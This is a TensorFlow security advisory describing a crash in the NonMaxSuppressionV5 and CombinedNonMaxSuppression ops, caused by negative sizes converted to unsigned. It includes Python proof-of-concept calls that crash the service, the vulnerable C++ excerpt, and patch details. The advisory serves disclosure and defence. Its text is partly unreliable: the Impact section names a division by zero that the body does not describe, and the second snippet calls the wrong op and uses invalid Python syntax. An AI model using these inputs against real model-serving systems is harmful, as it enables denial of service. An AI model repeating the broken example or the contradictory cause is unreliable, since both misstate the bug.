Crash in NMS ops caused by integer conversion to unsigned
### Impact
An attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0:
```python
import tensorflow as tf
tf.raw_ops.NonMaxSuppressionV5(
boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
scores=[1.0,2.0,3.0],
max_output_size=-1,
iou_threshold=0.5,
score_threshold=0.5,
soft_nms_sigma=1.0,
pad_to_max_output_size=True)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271 uses a user controlled argument to resize a `std::vector`:
```cc
const int output_size = max_output_size.scalar<int>()();
// ...
std::vector<int> selected;
// ...
if (pad_to_max_output_size) {
selected.resize(output_size, 0);
// ...
}
```
However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.
A similar issue occurs in `CombinedNonMaxSuppression`:
```python
import tensorflow as tf
tf.raw_ops.NonMaxSuppressionV5(
boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
max_output_size_per_class=-1,
max_total_size=10,
iou_threshold=score_threshold=0.5,
pad_per_class=True,
clip_boxes=True)
```
### Patches
We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d
https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58
https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.